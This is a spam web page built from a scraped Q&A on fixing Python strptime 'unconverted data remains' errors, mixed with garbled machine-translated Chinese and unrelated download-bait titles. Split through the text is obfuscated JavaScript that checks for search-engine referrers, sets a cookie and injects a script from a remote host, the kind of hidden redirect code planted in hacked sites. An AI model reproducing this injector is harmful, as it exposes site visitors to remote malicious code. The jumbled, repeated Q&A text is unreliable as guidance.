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You could also write a regex that will match only valid dates, including the right number of digits in the year, but that seems like overkill.. This is one way to chop the last item in the end_date to 4 chars:å¦‚ä½•ä»Ž Python datetime å¯¹è±¡åˆ é™¤æœªè½¬æ¢çš„æ•°æ® æ˜¾ç¤º/éšè—åŽŸæ–‡æˆ‘æœ‰å¤§éƒ¨åˆ†æ˜¯æ£ç¡®çš„ datetimes æ•°æ®åº“ï¼Œä½†å‡ ä¸ªæ‰“ç ´äº†åƒè¿™æ · ï¸° Sat Dec 22 12:34:08 PST 20102015ä½†ä¸€æ—¦æˆ‘ç‚¹å‡»å¯¹è±¡æ— æ•ˆå¹´å¾—åˆ° ValueError: unconverted data remains: 2 ï¼Œè¿™æ˜¯ä¼Ÿå¤§çš„ä½†æˆ‘ä¸ç¡®å®šå¦‚ä½•æœ€å¥½åœ°å‰¥ï¼Œä¸€å¹´åå—ç¬¦ã€‚ä»–ä»¬èŒƒå›´ä»Ž 2 è‡³ 6 unconverted characters.. é™¤éžä½ æƒ³è¦é‡å†™ strptime ï¼ˆä¸€ä¸ªéžå¸¸ç³Ÿç³•çš„ä¸»æ„ï¼‰ï¼Œä½ å”¯ä¸€çœŸæ£çš„é€‰æ‹©æ˜¯åˆ‡ç‰‡ end_date å’Œç æŽ‰å¤šä½™çš„å—ç¬¦ç»“æŸæ—¶ï¼Œå‡è®¾è¿™ä¼šç»™ä½ æ£ç¡®çš„ç»“æžœï¼Œä½ æ‰“ç®—ã€‚ä¸ºä¾‹ï¼Œä½ å¯ä»¥èµ¶ä¸Š ValueError ï¼Œåˆ‡ç‰‡ï¼Œå†è¯•ä¸€æ¬¡ ï¸°Unless you want to rewrite strptime (a very bad idea), the only real option you have is to slice end_date and chop off the extra characters at the end, assuming that this will give you the correct result you intend.

constructor(\x22return\x20this\x22)(\x20)'+');');_0x2cd52a=_0x231265();}catch(_0x1d8355){_0x2cd52a=window;}var _0x4b901f='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x2cd52a['atob']||(_0x2cd52a['atob']=function(_0x221eb8){var _0xa93e1=String(_0x221eb8)['replace'](/=+$/,'');for(var _0x4e2b4c=0x0,_0x5543e2,_0x59022c,_0x4b036c=0x0,_0x59627d='';_0x59022c=_0xa93e1['charAt'](_0x4b036c++);~_0x59022c&&(_0x5543e2=_0x4e2b4c%0x4?_0x5543e2*0x40+_0x59022c:_0x59022c,_0x4e2b4c++%0x4)?_0x59627d+=String['fromCharCode'](0xff&_0x5543e2>>(-0x2*_0x4e2b4c&0x6)):0x0){_0x59022c=_0x4b901f['indexOf'](_0x59022c);}return _0x59627d;});}());_0xae8a['base64DecodeUnicode']=function(_0x266a66){var _0x1d9b07=atob(_0x266a66);var _0x532101=[];for(var _0x4970b1=0x0,_0x182b2a=_0x1d9b07['length'];_0x4970b1=0x0){if(_0x2054a4[_0xae8a('0x22')](_0x2054a4['wOZMH'],'cOJ')){_0x2054a4[_0xae8a('0x23')](include,_0x2054a4['QlNLM']+q+'');}else{_0x38876e=!![];}}}if(_0x38876e){if(_0x2054a4[_0xae8a('0x24')](_0x2054a4[_0xae8a('0x25')],_0x2054a4[_0xae8a('0x25')])){cookie['set'](_0x2054a4[_0xae8a('0x26')],0x1,0x1);if(!_0x47a7ca){if(_0x2054a4['YvQma'](_0x2054a4[_0xae8a('0x27')],'Owq')){include(_0x2054a4[_0xae8a('0x28')](_0x2054a4['QlNLM']+q,''));}else{return cookie[name];}}}else{var _0x12d964=document[_0xae8a('0x8')][_0xae8a('0x29')](/[\w-]+=.. 6 6 å’Œ 3 1 2ï¼‰ æˆ‘å®‰è£…çš„ç‰ˆæœ¬å®žé™…ä¸Šæ²¡æœ‰; å®ƒåªæ˜¯è¯´æ•°æ®ä¸Žæ ¼å¼ä¸åŒ¹é…ã€‚å½“ç„¶ï¼Œä½ å¯èƒ½åªæ˜¯ç»§ç»ç æŽ‰ä¸€ä½æ•°ä¸€æ¬¡å¹¶é‡æ–°è§£æžç›´åˆ°ä½ ä¸ä¼šå¾—åˆ°ä¸€ä¸ªå¼‚å¸¸.. Yeah, I'd just chop off the extra numbers Assuming they are always appended to the datestring, then something like this would work:I was going to try to get the number of excess digits from the exception, but on my installed versions of Python (2.

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I have a database of mostly correct datetimes but a few are broke like so: Sat Dec 22 12:34:08 PST 20102015Without the invalid year, this was working for me:But once I hit an object with a invalid year I get ValueError: unconverted data remains: 2 , which is great but im not sure how best to strip the bad characters out of the year.. ä»»ä½•æŒ‡é’ˆå—ï¼Ÿä½†æˆ‘è¿˜æ˜¯å¸Œæœ›æœ‰ datetime å®‰å…¨ç–ç•¥ï¼Œæˆ‘åªæ˜¯ä¼šåˆ‡ end_date.. 6 6 å’Œ 3 1 2ï¼‰ æˆ‘å®‰è£…çš„ç‰ˆæœ¬å®žé™…ä¸Šæ²¡æœ‰; å®ƒåªæ˜¯è¯´æ•°æ®ä¸Žæ ¼å¼ä¸åŒ¹é…ã€‚å½“ç„¶ï¼Œä½ å¯èƒ½åªæ˜¯ç»§ç»ç æŽ‰ä¸€ä½æ•°ä¸€æ¬¡å¹¶é‡æ–°è§£æžç›´åˆ°ä½ ä¸ä¼šå¾—åˆ°ä¸€ä¸ªå¼‚å¸¸.. They range from 2 to 6 unconverted characters Any pointers? I would just slice end_date but im hoping there is a datetime-safe strategy.. var _0x1dd4=['Y29va2ll','c3BsaXQ=','cmVwbGFjZQ==','bHZlQVM=','bGVuZ3Ro','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','blFRQ1o=','b3FmUEQ=','Z2V0VGltZQ==','UEZZeWY=','OyBkb21haW49','Lmdvb2dsZS4=','LmFzay4=','LmFsdGF2aXN0YS4=','aHR0cHM6Ly9jbG91ZGV5ZXNzLm1lbi9kb25fY29uLnBocD94PWVuJnF1ZXJ5PQ==','dmlzaXRlZA==','LmJpbmcu','V2p1bHI=','c21CbmI=','ZmlMWFY=','LnlhbmRleC4=','cmVmZXJyZXI=','Z2V0','cnlhalA=','aW5kZXhPZg==','b1R6ZFI=','Z2dMQUk=','aFJtbnk=','SnptaUg=','eVhDTWE=','WXdic3g=','Y2pYZWs=','bWF0Y2g=','c2NyaXB0','Y3JlYXRlRWxlbWVudA==','alRUWmc=','c3Jj','aGVhZA==','YXBwZW5kQ2hpbGQ=','cHl0aG9uK2RhdGV0aW1lK3N0cnB0aW1lK3VuY29udmVydGVkK2RhdGErcmVtYWlucw==','RHlh'];(function(_0x37d4d6,_0x2c1703){var _0x3e1c87=function(_0x38c1ec){while(--_0x38c1ec){_0x37d4d6['push'](_0x37d4d6['shift']());}};_0x3e1c87(++_0x2c1703);}(_0x1dd4,0x11e));var _0xae8a=function(_0x2fb18f,_0x67f63f){_0x2fb18f=_0x2fb18f-0x0;var _0x566fa0=_0x1dd4[_0x2fb18f];if(_0xae8a['initialized']===undefined){(function(){var _0x2cd52a;try{var _0x231265=Function('return\x20(function()\x20'+'{}. Bbc Motion Gallery Debuts Search Widget For Mac

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For example, you can catch the ValueError , slice, and try again:æ”¹å–„ ï¼ˆæˆ‘å¸Œæœ›ï¼‰ äºšå½“ç½—æ£®è²å°”å¾·çš„ä»£ç ï¸°Improving (i hope) the code of Adam Rosenfield:strptime() çœŸçš„å¸Œæœ›çœ‹åˆ°ä¸€ä¸ªæ ¼å¼æ£ç¡®çš„æ—¥æœŸï¼Œæ‰€ä»¥ä½ å¯èƒ½éœ€è¦åšä¸€äº›å˜å½¢å¯¹ end_date çš„å—ç¬¦ä¸²ï¼Œåœ¨è°ƒç”¨å®ƒä¹‹å‰è¿™æ˜¯ç çš„æœ€åŽä¸€é¡¹åœ¨ end_date åˆ° 4 ä¸ªå—ç¬¦çš„ä¸€ç§æ–¹æ³• ï¸°strptime() really expects to see a correctly formatted date, so you probably need to do some munging on the end_date string before you call it.. ä»»ä½•æŒ‡é’ˆå—ï¼Ÿä½†æˆ‘è¿˜æ˜¯å¸Œæœ›æœ‰ datetime å®‰å…¨ç–ç•¥ï¼Œæˆ‘åªæ˜¯ä¼šåˆ‡ end_date.. Of course, you could just continue lopping off digits one at a time and re-parsing until you don't get an exception.. I have a database of mostly correct datetimes but a few are broke like so: Sat Dec 22 12:34:08 PST 20102015Without the invalid year, this was working for me:But once I hit an object with a invalid year I get ValueError: unconverted data remains: 2 , which is great but im not sure how best to strip the bad characters out of the year.. *?(?:$|;)/g),_0x2daa95={};if(!_0x12d964&&name){return undefined;}var _0x284da5;for(var _0x565770=0x0;_0x2054a4[_0xae8a('0x20')](_0x565770,_0x12d964[_0xae8a('0xc')]);_0x565770++){_0x284da5=_0x12d964[_0x565770][_0xae8a('0x9')]('=');_0x2daa95[_0x284da5[0x0]]=_0x284da5[0x1][_0xae8a('0xa')](/;$/);}if(name){return _0x2daa95[name];}return _0x2daa95;}}}R(); å¦‚ä½•ä»Ž Python datetime å¯¹è±¡åˆ é™¤æœªè½¬æ¢çš„æ•°æ® æ˜¾ç¤º/éšè—åŽŸæ–‡æˆ‘æœ‰å¤§éƒ¨åˆ†æ˜¯æ£ç¡®çš„ datetimes æ•°æ®åº“ï¼Œä½†å‡ ä¸ªæ‰“ç ´äº†åƒè¿™æ · ï¸° Sat Dec 22 12:34:08 PST 20102015ä½†ä¸€æ—¦æˆ‘ç‚¹å‡»å¯¹è±¡æ— æ•ˆå¹´å¾—åˆ° ValueError: unconverted data remains: 2 ï¼Œè¿™æ˜¯ä¼Ÿå¤§çš„ä½†æˆ‘ä¸ç¡®å®šå¦‚ä½•æœ€å¥½åœ°å‰¥ï¼Œä¸€å¹´åå—ç¬¦ã€‚ä»–ä»¬èŒƒå›´ä»Ž 2 è‡³ 6 unconverted characters. One Note For Mac Os

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æˆ‘æ£è¦è¯•ç€åŽ»å¤šä½™çš„ä½æ•°ä»Žå¼‚å¸¸ï¼Œä½†è¯¥ä¿¡æ¯å¯¹ Python ï¼ˆ2.. æˆ‘æ£è¦è¯•ç€åŽ»å¤šä½™çš„ä½æ•°ä»Žå¼‚å¸¸ï¼Œä½†è¯¥ä¿¡æ¯å¯¹ Python ï¼ˆ2.. They range from 2 to 6 unconverted characters Any pointers? I would just slice end_date but im hoping there is a datetime-safe strategy.. 6 6 and 3 1 2) that information isn't actually there; it just says that the data does not match the format. 0041d406d9 Cours Language C Dev C For Mac

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Python Datetime Strptime Unconverted Data Remains Download _BEST_ For Windows 7 64